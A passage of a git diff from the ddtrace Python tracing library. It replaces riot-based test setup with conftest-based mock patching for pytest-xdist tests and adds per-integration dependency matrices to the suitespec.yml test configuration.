'ddtrace/contrib/internal'. Update its suite name to match the integration.\n" + ) + failure_messages.append("*" * 100) + assert failed_environments == [], "\n".join(failure_messages) diff --git a/tests/contrib/pydantic_ai/test_pydantic_ai_llmobs.py b/tests/contrib/pydantic_ai/test_pydantic_ai_llmobs.py index b1801edb40b..da588b59e3e 100644 --- a/tests/contrib/pydantic_ai/test_pydantic_ai_llmobs.py +++ b/tests/contrib/pydantic_ai/test_pydantic_ai_llmobs.py @@ -962,7 +962,7 @@ async def test_non_finite_floats_never_ship(self, pydantic_ai, pydantic_ai_llmob assert manifest["model_settings"] == {"top_p": 0.9} def test_mcp_servers_are_named_but_never_addressed(self, pydantic_ai): - """MCP capture, which no other test reaches: the mcp extra is in none of the riot venvs. + """MCP capture, which no other test reaches: the mcp extra is in no other test environment. No URI is emitted, so a server address cannot carry a credential onto the wire. """ diff --git a/tests/contrib/pydantic_ai/utils.py b/tests/contrib/pydantic_ai/utils.py index da2f393c3ff..b2575381748 100644 --- a/tests/contrib/pydantic_ai/utils.py +++ b/tests/contrib/pydantic_ai/utils.py @@ -11,7 +11,7 @@ } -# pydantic-ai's own defaults for an agent that configures none of these, at the versions riotfile.py +# pydantic-ai's own defaults for an agent that configures none of these, at the versions suitespec # pins. They are framework defaults rather than caller choices, which is why they are asserted here # once instead of being repeated per test. They are NOT a framework invariant: end_strategy defaults # to "graceful" at 2.x, so adding a 2.x pin will fail here on purpose. diff --git a/tests/contrib/pytest/snapshot/test_pytest_xdist_snapshot.py b/tests/contrib/pytest/snapshot/test_pytest_xdist_snapshot.py index 4ffa306c9fc..6e90b755fcc 100644 --- a/tests/contrib/pytest/snapshot/test_pytest_xdist_snapshot.py +++ b/tests/contrib/pytest/snapshot/test_pytest_xdist_snapshot.py @@ -1,4 +1,3 @@ -import os import subprocess from unittest import mock @@ -10,14 +9,6 @@ from tests.utils import snapshot -###### -# Skip these tests if they are not running under riot -riot_env_value = os.getenv("RIOT", None) -if not riot_env_value: - pytest.importorskip("xdist", reason="Pytest xdist tests, not running under riot") -###### - - _USE_PLUGIN_V2 = True pytestmark = pytest.mark.skipif(not _USE_PLUGIN_V2, reason="Tests in this module are for v2 of the pytest plugin") diff --git a/tests/contrib/pytest/test_pytest.py b/tests/contrib/pytest/test_pytest.py index b3f8deaa209..017eea19c28 100644 --- a/tests/contrib/pytest/test_pytest.py +++ b/tests/contrib/pytest/test_pytest.py @@ -138,6 +138,32 @@ def _dummy_check_enabled_features(self): ): yield + def make_xdist_conftest(self, content): + """Create a conftest that installs and removes settings for an xdist run.""" + xdist_hooks = """ +import pytest +from ddtrace.internal.ci_visibility.recorder import CIVisibility + +@pytest.hookimpl(tryfirst=True) +def pytest_configure(config): + for xdist_patch in XDIST_PATCHES: + xdist_patch.start() + if CIVisibility.enabled: + CIVisibility.disable() + +@pytest.hookimpl(tryfirst=True) +def pytest_sessionstart(session): + configure_xdist = globals().get("configure_xdist") + if configure_xdist is not None: + configure_xdist() + +@pytest.hookimpl(trylast=True) +def pytest_unconfigure(config): + for xdist_patch in reversed(XDIST_PATCHES): + xdist_patch.stop() +""" + self.testdir.makeconftest(f"{content}\n{xdist_hooks}") + def inline_run( self, *args, mock_ci_env=True, block_gitlab_env=False, project_dir=None, extra_env=None, expect_enabled=True ): diff --git a/tests/contrib/pytest/test_pytest_xdist_atr.py b/tests/contrib/pytest/test_pytest_xdist_atr.py index 9beff45c98f..a1a4d1dfe29 100644 --- a/tests/contrib/pytest/test_pytest_xdist_atr.py +++ b/tests/contrib/pytest/test_pytest_xdist_atr.py @@ -3,7 +3,6 @@ The tests in this module only validate the exit status from pytest-xdist. """ -import os # Just for the RIOT env var check from unittest import mock import pytest @@ -13,14 +12,6 @@ from tests.contrib.pytest.test_pytest import PytestTestCaseBase -###### -# Skip these tests if they are not running under riot -riot_env_value = os.getenv("RIOT", None) -if not riot_env_value: - pytest.importorskip("xdist", reason="Auto Test Retries + xdist tests, not running under riot") -###### - - _USE_PLUGIN_V2 = True pytestmark = pytest.mark.skipif( @@ -137,27 +128,23 @@ def test_class_func_skip_inside(self): class PytestXdistATRTestCase(PytestTestCaseBase): @pytest.fixture(autouse=True, scope="function") - def setup_sitecustomize(self): + def setup_xdist_settings(self): """ - This allows to patch the tracer before the tests are run, so it works - in the xdist worker processes. + Patch the tracer before pytest configures the xdist workers. """ - sitecustomize_content = """ -# sitecustomize.py + xdist_settings = """ from unittest import mock from ddtrace.internal.ci_visibility._api_client import TestVisibilityAPISettings -import ddtrace.internal.ci_visibility.recorder # Ensure parent module is loaded -_GLOBAL_SITECUSTOMIZE_PATCH_OBJECT = mock.patch( +_SETTINGS_PATCH = mock.patch( "ddtrace.internal.ci_visibility.recorder.CIVisibility._check_enabled_features", return_value=TestVisibilityAPISettings(flaky_test_retries_enabled=True) ) -_GLOBAL_SITECUSTOMIZE_PATCH_OBJECT.start() +XDIST_PATCHES = [_SETTINGS_PATCH] """ - self.testdir.makepyfile(sitecustomize=sitecustomize_content) + self.make_xdist_conftest(xdist_settings) def inline_run(self, *args, **kwargs): - # Add -n 2 to the end of the command line arguments args = list(args) + ["-n", "2", "-c", "/dev/null"] return super().inline_run(*args, **kwargs) diff --git a/tests/contrib/pytest/test_pytest_xdist_itr.py b/tests/contrib/pytest/test_pytest_xdist_itr.py index dc246b6b92a..d3e90c8258a 100644 --- a/tests/contrib/pytest/test_pytest_xdist_itr.py +++ b/tests/contrib/pytest/test_pytest_xdist_itr.py @@ -84,9 +84,7 @@ def test_class_func_skip_inside(self): class PytestXdistITRTestCase(PytestTestCaseBase): def test_pytest_xdist_itr_skips_tests_at_test_level_by_pytest_addopts_env_var(self): """Test that ITR tags are correctly aggregated from xdist workers.""" - # Create a simplified sitecustomize with just the essential ITR setup - itr_skipping_sitecustomize = """ -# sitecustomize.py - Simplified ITR setup for xdist + xdist_settings = """ from unittest import mock # Import required modules @@ -113,32 +111,22 @@ def test_pytest_xdist_itr_skips_tests_at_test_level_by_pytest_addopts_env_var(se itr_data = ITRData(correlation_id="12345678-1234-1234-1234-123456789012", skippable_items=skippable_tests) -# Mock API calls to return our settings -mock.patch( +_SETTINGS_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client.AgentlessTestVisibilityAPIClient.fetch_settings", return_value=itr_settings -).start() +) -# Mock fetch_skippable_items to return our test data -mock.patch( +_SKIPPABLE_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client._TestVisibilityAPIClientBase.fetch_skippable_items", return_value=itr_data -).start() - -# Set ITR data when CIVisibility is enabled -import ddtrace.internal.ci_visibility.recorder -CIVisibility = ddtrace.internal.ci_visibility.recorder.CIVisibility -original_enable = CIVisibility.enable - -def patched_enable(cls, *args, **kwargs): - result = original_enable(*args, **kwargs) - if cls._instance: - cls._instance._itr_data = itr_data - return result +) +XDIST_PATCHES = [_SETTINGS_PATCH, _SKIPPABLE_PATCH] -CIVisibility.enable = classmethod(patched_enable) +def configure_xdist(): + if CIVisibility._instance: + CIVisibility._instance._itr_data = itr_data """ - self.testdir.makepyfile(sitecustomize=itr_skipping_sitecustomize) + self.make_xdist_conftest(xdist_settings) self.testdir.makepyfile(test_pass=_TEST_PASS_CONTENT) self.testdir.makepyfile(test_fail=_TEST_FAIL_CONTENT) self.testdir.chdir() @@ -188,8 +176,7 @@ def patched_enable(cls, *args, **kwargs): def test_xdist_suite_mode_skipped_suites(self): """Test that suite-level ITR skipping works correctly in xdist and counts suites, not individual tests.""" - itr_skipping_sitecustomize = """ -# sitecustomize.py - ITR setup for xdist worker nodes + xdist_settings = """ from unittest import mock # Import required modules @@ -213,39 +200,29 @@ def test_xdist_suite_mode_skipped_suites(self): } itr_data = ITRData(correlation_id="12345678-1234-1234-1234-123456789012", skippable_items=skippable_suites) -# Mock API calls to return our settings -mock.patch( +_API_SETTINGS_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client._TestVisibilityAPIClientBase.fetch_settings", return_value=itr_settings -).start() +) -mock.patch( +_SETTINGS_PATCH = mock.patch( "ddtrace.internal.ci_visibility.recorder.CIVisibility._check_enabled_features", return_value=itr_settings -).start() +) -# Mock fetch_skippable_items to return our test data -mock.patch( +_SKIPPABLE_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client._TestVisibilityAPIClientBase.fetch_skippable_items", return_value=itr_data -).start() - -# Set ITR data when CIVisibility is enabled -import ddtrace.internal.ci_visibility.recorder -CIVisibility = ddtrace.internal.ci_visibility.recorder.CIVisibility -original_enable = CIVisibility.enable - -def patched_enable(cls, *args, **kwargs): - result = original_enable(*args, **kwargs) - if cls._instance: - cls._instance._itr_data = itr_data - return result +) +XDIST_PATCHES = [_API_SETTINGS_PATCH, _SETTINGS_PATCH, _SKIPPABLE_PATCH] -CIVisibility.enable = classmethod(patched_enable) +def configure_xdist(): + if CIVisibility._instance: + CIVisibility._instance._itr_data = itr_data """ # Create test files - self.testdir.makepyfile(sitecustomize=itr_skipping_sitecustomize) + self.make_xdist_conftest(xdist_settings) self.testdir.makepyfile( test_scope1=""" import pytest @@ -315,9 +292,7 @@ def test_scope2_method1(self): def test_pytest_xdist_itr_skips_tests_at_test_level_without_loadscope(self): """Test that ITR tags are correctly aggregated from xdist workers.""" - # Create a simplified sitecustomize with just the essential ITR setup - itr_skipping_sitecustomize = """ -# sitecustomize.py - Simplified ITR setup for xdist + xdist_settings = """ from unittest import mock # Import required modules @@ -344,32 +319,22 @@ def test_pytest_xdist_itr_skips_tests_at_test_level_without_loadscope(self): itr_data = ITRData(correlation_id="12345678-1234-1234-1234-123456789012", skippable_items=skippable_tests) -# Mock API calls to return our settings -mock.patch( +_SETTINGS_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client.AgentlessTestVisibilityAPIClient.fetch_settings", return_value=itr_settings -).start() +) -# Mock fetch_skippable_items to return our test data -mock.patch( +_SKIPPABLE_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client._TestVisibilityAPIClientBase.fetch_skippable_items", return_value=itr_data -).start() - -# Set ITR data when CIVisibility is enabled -import ddtrace.internal.ci_visibility.recorder -CIVisibility = ddtrace.internal.ci_visibility.recorder.CIVisibility -original_enable = CIVisibility.enable - -def patched_enable(cls, *args, **kwargs): - result = original_enable(*args, **kwargs) - if cls._instance: - cls._instance._itr_data = itr_data - return result +) +XDIST_PATCHES = [_SETTINGS_PATCH, _SKIPPABLE_PATCH] -CIVisibility.enable = classmethod(patched_enable) +def configure_xdist(): + if CIVisibility._instance: + CIVisibility._instance._itr_data = itr_data """ - self.testdir.makepyfile(sitecustomize=itr_skipping_sitecustomize) + self.make_xdist_conftest(xdist_settings) self.testdir.makepyfile(test_pass=_TEST_PASS_CONTENT) self.testdir.makepyfile(test_fail=_TEST_FAIL_CONTENT) self.testdir.chdir() @@ -418,9 +383,7 @@ def patched_enable(cls, *args, **kwargs): def test_pytest_xdist_itr_skips_tests_at_suite_level_with_loadscope(self): """Test that ITR tags are correctly aggregated from xdist workers.""" - # Create a simplified sitecustomize with just the essential ITR setup - itr_skipping_sitecustomize = """ -# sitecustomize.py - Simplified ITR setup for xdist + xdist_settings = """ from unittest import mock # Import required modules @@ -445,32 +408,22 @@ def test_pytest_xdist_itr_skips_tests_at_suite_level_with_loadscope(self): } itr_data = ITRData(correlation_id="12345678-1234-1234-1234-123456789012", skippable_items=skippable_suites) -# Mock API calls to return our settings -mock.patch( +_SETTINGS_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client.AgentlessTestVisibilityAPIClient.fetch_settings", return_value=itr_settings -).start() +) -# Mock fetch_skippable_items to return our test data -mock.patch( +_SKIPPABLE_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client._TestVisibilityAPIClientBase.fetch_skippable_items", return_value=itr_data -).start() - -# Set ITR data when CIVisibility is enabled -import ddtrace.internal.ci_visibility.recorder -CIVisibility = ddtrace.internal.ci_visibility.recorder.CIVisibility -original_enable = CIVisibility.enable - -def patched_enable(cls, *args, **kwargs): - result = original_enable(*args, **kwargs) - if cls._instance: - cls._instance._itr_data = itr_data - return result +) +XDIST_PATCHES = [_SETTINGS_PATCH, _SKIPPABLE_PATCH] -CIVisibility.enable = classmethod(patched_enable) +def configure_xdist(): + if CIVisibility._instance: + CIVisibility._instance._itr_data = itr_data """ - self.testdir.makepyfile(sitecustomize=itr_skipping_sitecustomize) + self.make_xdist_conftest(xdist_settings) self.testdir.makepyfile(test_pass=_TEST_PASS_CONTENT) self.testdir.makepyfile(test_fail=_TEST_FAIL_CONTENT) self.testdir.chdir() @@ -1918,8 +1871,7 @@ def test_func2(): def test_explicit_env_var_overrides_xdist_test_mode(self): """Test that explicit _DD_CIVISIBILITY_ITR_SUITE_MODE=False overrides xdist suite-level detection.""" # Create test files for different scopes - itr_skipping_sitecustomize = """ -# sitecustomize.py - Simplified ITR setup for xdist + xdist_settings = """ from unittest import mock # Import required modules @@ -1944,38 +1896,28 @@ def test_explicit_env_var_overrides_xdist_test_mode(self): } itr_data = ITRData(correlation_id="12345678-1234-1234-1234-123456789012", skippable_items=skippable_tests) -# Set ITR data when CIVisibility is enabled -import ddtrace.internal.ci_visibility.recorder -CIVisibility = ddtrace.internal.ci_visibility.recorder.CIVisibility -original_enable = CIVisibility.enable - -def patched_enable(cls, *args, **kwargs): - result = original_enable(*args, **kwargs) - if cls._instance: - cls._instance._itr_data = itr_data - return result - -# Mock API calls to return our settings -mock.patch( +_API_SETTINGS_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client._TestVisibilityAPIClientBase.fetch_settings", return_value=itr_settings -).start() +) -mock.patch( +_SETTINGS_PATCH = mock.patch( "ddtrace.internal.ci_visibility.recorder.CIVisibility._check_enabled_features", return_value=itr_settings -).start() +) -# Mock fetch_skippable_items to return our test data -mock.patch( +_SKIPPABLE_PATCH = mock.patch( "ddtrace.internal.ci_visibility._api_client._TestVisibilityAPIClientBase.fetch_skippable_items", return_value=itr_data -).start() +) +XDIST_PATCHES = [_API_SETTINGS_PATCH, _SETTINGS_PATCH, _SKIPPABLE_PATCH] -CIVisibility.enable = classmethod(patched_enable) +def configure_xdist(): + if CIVisibility._instance: + CIVisibility._instance._itr_data = itr_data """ - self.testdir.makepyfile(sitecustomize=itr_skipping_sitecustomize) + self.make_xdist_conftest(xdist_settings) self.testdir.makepyfile( test_scope1=""" import pytest diff --git a/tests/contrib/suitespec.yml b/tests/contrib/suitespec.yml index 6d724daafa4..c9b9b8d6eef 100644 --- a/tests/contrib/suitespec.yml +++ b/tests/contrib/suitespec.yml @@ -235,6 +235,28 @@ suites: TEST_MOTO_PORT: '3000' snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} --no-cov tests/contrib/aiobotocore + dependencies: + - pytest-asyncio==0.21.1 + - async_generator~=1.10 + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11'] + axes: + aiobotocore: + aiobotocore-1-0-0: aiobotocore~=1.0.0 + aiobotocore-1-4-2: aiobotocore~=1.4.2 + aiobotocore-2-0-0: aiobotocore~=2.0.0 + aiobotocore-latest: aiobotocore + compatibility: + aiobotocore: {} + - python: ['3.12', '3.13', '3.14'] + dependencies: + - aiobotocore + axes: + compatibility: + aiobotocore-latest: {} aiohttp: pattern: ^aiohttp$ venvs_per_job: 3 @@ -249,6 +271,45 @@ suites: services: - httpbin snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/aiohttp + dependencies: + - pytest-randomly + - yarl~=1.0 + axes: + compatibility: + aiohttp-legacy: + python: ['3.9'] + dependencies: + - pytest-aiohttp<=1.0.5 + - pytest-asyncio<=0.23.7 + command: >- + pytest {cmdargs} tests/contrib/aiohttp/test_aiohttp_client.py + tests/contrib/aiohttp/test_aiohttp_patch.py + aiohttp-py39-py312: + python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: + - pytest-asyncio==0.23.7 + - pytest-aiohttp==1.0.5 + aiohttp-py313-plus: + python: ['3.13', '3.14'] + dependencies: + - pytest-asyncio>=1.0.0 + - pytest-aiohttp + aiohttp: + aiohttp-3-7: + dependencies: aiohttp~=3.7 + aiohttp-legacy-3-7: + python: ['3.9'] + dependencies: aiohttp~=3.7.0 + aiohttp-latest: + dependencies: aiohttp + exclude: + - compatibility: aiohttp-legacy + aiohttp: [aiohttp-3-7, aiohttp-latest] + - compatibility: [aiohttp-py39-py312, aiohttp-py313-plus] + aiohttp: aiohttp-legacy-3-7 aiohttp_jinja2: venvs_per_job: 6 paths: @@ -264,6 +325,27 @@ suites: services: - httpbin snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/aiohttp_jinja2 + dependencies: + - pytest-aiohttp + - pytest-randomly + - jinja2 + axes: + aiohttp: + aiohttp-3-7: aiohttp~=3.7 + aiohttp-latest: aiohttp + aiohttp-jinja2: + aiohttp-jinja2-1-5: aiohttp_jinja2~=1.5.0 + aiohttp-jinja2-latest: aiohttp_jinja2 + pytest-asyncio: + pytest-asyncio-0-23: + python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: pytest-asyncio==0.23.7 + pytest-asyncio-latest: + python: ['3.13', '3.14'] + dependencies: pytest-asyncio>=1.0.0 aiomysql: parallelism: 2 paths: @@ -279,6 +361,27 @@ suites: services: - mysql snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/aiomysql + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: + - pytest-asyncio==0.23.7 + axes: + aiomysql: &id001 + aiomysql-0-1-0: aiomysql~=0.1.0 + aiomysql-latest: aiomysql + compatibility: + pytest-asyncio-0-23-7: {} + - python: ['3.13', '3.14'] + dependencies: + - pytest-asyncio + axes: + aiomysql: *id001 + compatibility: + pytest-asyncio-latest: {} aiokafka: env: TEST_KAFKA_HOST: kafka @@ -296,6 +399,19 @@ suites: services: - kafka snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/aiokafka/ + dependencies: + - pytest-asyncio + - pytest-randomly + env: + DD_DATA_STREAMS_ENABLED: 'true' + _DD_TRACE_STATS_WRITER_INTERVAL: '1000000000' + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + aiokafka: + aiokafka-0-9-0: aiokafka~=0.9.0 + aiokafka-latest: aiokafka aiopg: paths: - '@bootstrap' @@ -311,6 +427,25 @@ suites: services: - postgres venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/aiopg + dependencies: + - sqlalchemy + - pytest-randomly + cases: + - python: ['3.9'] + dependencies: + - aiopg~=0.16.0 + axes: + compatibility: + aiopg-0-16-0: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + aiopg: + aiopg-1-0: aiopg~=1.0 + aiopg-1-4-0: aiopg~=1.4.0 + compatibility: + aiopg: {} algoliasearch: parallelism: 2 paths: @@ -321,6 +456,13 @@ suites: - '@algoliasearch' - tests/contrib/algoliasearch/* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/algoliasearch + dependencies: + - urllib3~=1.26.15 + - pytest-randomly + - algoliasearch~=2.6 aredis: parallelism: 1 paths: @@ -335,6 +477,13 @@ suites: services: - redis snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/aredis + dependencies: + - pytest-asyncio==0.21.1 + - aredis + - pytest-randomly + python: ['3.9'] asgi: venvs_per_job: 1 paths: @@ -349,6 +498,18 @@ suites: - tests/snapshots/tests.{suite}.* pattern: asgi$ snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/asgi + dependencies: + - pytest-asyncio==0.21.1 + - httpx<0.28.0 + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + asgiref: + asgiref-3-0-0: asgiref~=3.0.0 + asgiref-3-0: asgiref~=3.0 + asgiref-latest: asgiref asyncpg: retry: 2 parallelism: 2 @@ -364,6 +525,39 @@ suites: snapshot: true services: - postgres + matrix: + command: pytest {cmdargs} tests/contrib/asyncpg + dependencies: + - pytest-asyncio~=0.21.1 + - pytest-randomly + cases: + - python: ['3.9'] + axes: + asyncpg: + asyncpg-0-23-0: asyncpg~=0.23.0 + asyncpg-latest: asyncpg + compatibility: + asyncpg: {} + - python: ['3.10'] + axes: + asyncpg: + asyncpg-0-24-0: asyncpg~=0.24.0 + asyncpg-latest: asyncpg + compatibility: + asyncpg-2: {} + - python: ['3.11'] + axes: + asyncpg: + asyncpg-0-27: asyncpg~=0.27 + asyncpg-latest: asyncpg + compatibility: + asyncpg-3: {} + - python: ['3.12', '3.13', '3.14'] + dependencies: + - asyncpg + axes: + compatibility: + asyncpg-latest: {} asynctest: parallelism: 1 paths: @@ -373,6 +567,13 @@ suites: - '@tracing' - tests/contrib/asynctest/* pattern: asynctest$ + matrix: + command: pytest {cmdargs} tests/contrib/asynctest/ + dependencies: + - pytest>=6.0,<7.0 + - pytest-randomly + - asynctest==0.13.0 + python: ['3.9'] avro: parallelism: 1 paths: @@ -383,6 +584,12 @@ suites: - '@avro' - tests/contrib/avro/* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/avro + dependencies: + - avro + - pytest-randomly aws_lambda: parallelism: 2 paths: @@ -394,6 +601,17 @@ suites: - tests/contrib/aws_lambda/* - tests/snapshots/tests.{suite}.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/aws_lambda + dependencies: + - boto3 + - pytest-asyncio==0.21.1 + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + axes: + datadog-lambda: + datadog-lambda-gte-6-105-0: datadog-lambda>=6.105.0 + datadog-lambda-latest: datadog-lambda aws_durable_execution_sdk_python: venvs_per_job: 2 paths: @@ -405,6 +623,15 @@ suites: - tests/contrib/aws_durable_execution_sdk_python/* - tests/snapshots/tests.{suite}.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/aws_durable_execution_sdk_python + dependencies: + - aws-durable-execution-sdk-python-testing + python: ['3.11', '3.12', '3.13', '3.14'] + axes: + aws-durable-execution-sdk-python: + aws-durable-execution-sdk-python-1-4-0: aws-durable-execution-sdk-python~=1.4.0 + aws-durable-execution-sdk-python-latest: aws-durable-execution-sdk-python azure_cosmos: venvs_per_job: 4 paths: @@ -419,6 +646,17 @@ suites: services: - azurite - azurecosmosemulator + matrix: + command: pytest {cmdargs} tests/contrib/azure_cosmos + dependencies: + - pytest-asyncio==0.23.7 + - aiohttp + - six + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + azure-cosmos: + azure-cosmos-4-9-0: azure.cosmos~=4.9.0 + azure-cosmos-latest: azure.cosmos azure_eventhubs: parallelism: 4 paths: @@ -445,6 +683,15 @@ suites: KUBERNETES_SERVICE_CPU_LIMIT: '2' KUBERNETES_SERVICE_MEMORY_REQUEST: '8Gi' KUBERNETES_SERVICE_MEMORY_LIMIT: '8Gi' + matrix: + command: pytest {cmdargs} tests/contrib/azure_eventhubs + dependencies: + - pytest-asyncio==0.23.7 + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + axes: + azure-eventhub: + azure-eventhub-5-12-0: azure.eventhub~=5.12.0 + azure-eventhub-latest: azure.eventhub azure_durable_functions: venvs_per_job: 3 paths: @@ -461,6 +708,13 @@ suites: # the azure_functions suites don't work in the arm64 testrunner container # (the one that runs from scripts/ddtest on Mac OS) # they can be run on OSX bare metal after `brew tap azure/functions && brew install azure-functions-core-tools@4` + matrix: + command: pytest {cmdargs} tests/contrib/azure_durable_functions + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + axes: + azure-functions-durable: + azure-functions-durable-1-2-1: azure-functions-durable==1.2.1 + azure-functions-durable-latest: azure-functions-durable azure_functions: parallelism: 4 paths: @@ -475,6 +729,15 @@ suites: snapshot: true services: - azurite + matrix: + command: pytest {cmdargs} tests/contrib/azure_functions + dependencies: + - requests + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + axes: + azure-functions: + azure-functions-1-10-1: azure.functions~=1.10.1 + azure-functions-latest: azure.functions azure_functions:cosmos: venvs_per_job: 1 paths: @@ -491,6 +754,19 @@ suites: services: - azurite - azurecosmosemulator + matrix: + command: pytest {cmdargs} tests/contrib/azure_functions_cosmos + dependencies: + - azure.storage.blob + - aiohttp + python: ['3.11', '3.12', '3.13'] + axes: + azure-functions: + azure-functions-1-10-1: azure.functions~=1.10.1 + azure-functions-latest: azure.functions + azure-cosmos: + azure-cosmos-4-9-0: azure.cosmos~=4.9.0 + azure-cosmos-latest: azure.cosmos azure_functions:eventhubs: parallelism: 4 paths: @@ -507,6 +783,16 @@ suites: services: - azurite - azureeventhubsemulator + matrix: + command: pytest {cmdargs} tests/contrib/azure_functions_eventhubs + dependencies: + - azure.eventhub + - azure.storage.blob + python: ['3.9', '3.10', '3.11'] + axes: + azure-functions: + azure-functions-1-10-1: azure.functions~=1.10.1 + azure-functions-latest: azure.functions azure_functions:servicebus: parallelism: 4 paths: @@ -524,6 +810,15 @@ suites: - azurite - azuresqledge - azureservicebusemulator + matrix: + command: pytest {cmdargs} tests/contrib/azure_functions_servicebus + dependencies: + - azure.servicebus + python: ['3.9', '3.10', '3.11'] + axes: + azure-functions: + azure-functions-1-10-1: azure.functions~=1.10.1 + azure-functions-latest: azure.functions azure_servicebus: parallelism: 4 paths: @@ -538,6 +833,25 @@ suites: services: - azuresqledge - azureservicebusemulator + matrix: + command: pytest {cmdargs} tests/contrib/azure_servicebus + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - pytest-asyncio==0.23.7 + axes: + azure-servicebus: + azure-servicebus-7-14-0: azure.servicebus~=7.14.0 + azure-servicebus-latest: azure.servicebus + compatibility: + azure-servicebus-pytest-asyncio-0-23-7: {} + - python: ['3.14'] + dependencies: + - azure.servicebus + - pytest-asyncio + axes: + compatibility: + azure-servicebus-latest-pytest-asyncio-latest: {} botocore: retry: 2 parallelism: 11 @@ -556,6 +870,28 @@ suites: snapshot: true services: - localstack + matrix: + command: pytest {cmdargs} tests/contrib/botocore + dependencies: + - moto[all]<5.0 + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - vcrpy==6.0.1 + - botocore==1.34.49 + - boto3==1.34.49 + axes: + compatibility: + vcrpy-6-0-1-botocore-1-34-49-boto3-1-34-49: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - vcrpy==7.0.0 + - botocore==1.38.26 + - boto3==1.38.26 + axes: + compatibility: + vcrpy-7-0-0-botocore-1-38-26-boto3-1-38-26: {} bottle: parallelism: 1 paths: @@ -566,6 +902,20 @@ suites: - '@bottle' - tests/contrib/bottle/* snapshot: true + matrix: + dependencies: + - WebTest + - pytest-randomly + python: ['3.9'] + axes: + bottle: + bottle-gte-0-12-lt-0-13: bottle>=0.12,<0.13 + bottle-latest: bottle + runs: + - command: python -m pytest {cmdargs} --ignore='tests/contrib/bottle/test_autopatch.py' tests/contrib/bottle/ + - command: python tests/ddtrace_run.py python -m pytest {cmdargs} tests/contrib/bottle/test_autopatch.py + env: + DD_SERVICE: bottle-app celery: env: DD_DISABLE_ERROR_RESPONSES: true @@ -585,6 +935,29 @@ suites: - redis snapshot: true venvs_per_job: 1 + matrix: + command: pytest {cmdargs} tests/contrib/celery + dependencies: + - more_itertools<8.11.0 + - pytest-randomly + env: + PYTEST_PLUGINS: celery.contrib.pytest + cases: + - python: ['3.9'] + dependencies: + - redis~=3.5 + axes: + celery: + celery-5-2: celery~=5.2 + celery-latest: celery + compatibility: + celery-redis-3-5: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - celery[redis] + axes: + compatibility: + celery-redis-latest: {} cherrypy: paths: - '@bootstrap' @@ -596,6 +969,28 @@ suites: - tests/snapshots/tests.{suite}.* snapshot: true venvs_per_job: 2 + matrix: + command: python -m pytest {cmdargs} tests/contrib/cherrypy + dependencies: + - pytest-randomly + - more_itertools<8.11.0 + cases: + - python: ['3.9', '3.10'] + dependencies: + - typing-extensions + axes: + cherrypy: + cherrypy-17-0-0: cherrypy~=17.0.0 + cherrypy-gte-17-lt-18: cherrypy>=17,<18 + compatibility: + cherrypy-typing-extensions-latest: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + cherrypy: + cherrypy-gte-18-0-lt-19: cherrypy>=18.0,<19 + cherrypy-latest: cherrypy + compatibility: + cherrypy: {} consul: parallelism: 1 paths: @@ -608,6 +1003,15 @@ suites: snapshot: true services: - consul + matrix: + command: pytest --no-cov {cmdargs} tests/contrib/consul + dependencies: + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + python-consul: + python-consul-gte-1-1-lt-1-2: python-consul>=1.1,<1.2 + python-consul-latest: python-consul datastreams: parallelism: 1 paths: @@ -616,6 +1020,15 @@ suites: - '@tracing' - '@datastreams' - tests/datastreams/* + matrix: + name: datastreams-latest + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest --no-cov {cmdargs} tests/datastreams/ + dependencies: + - msgpack + - pytest-randomly + env: + AGENT_VERSION: latest ddtrace_api: parallelism: 1 paths: @@ -625,6 +1038,12 @@ suites: - '@ddtrace_api' - tests/contrib/ddtrace_api/* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/ddtrace_api + dependencies: + - ddtrace-api==0.0.1 + - requests django: parallelism: 6 env: @@ 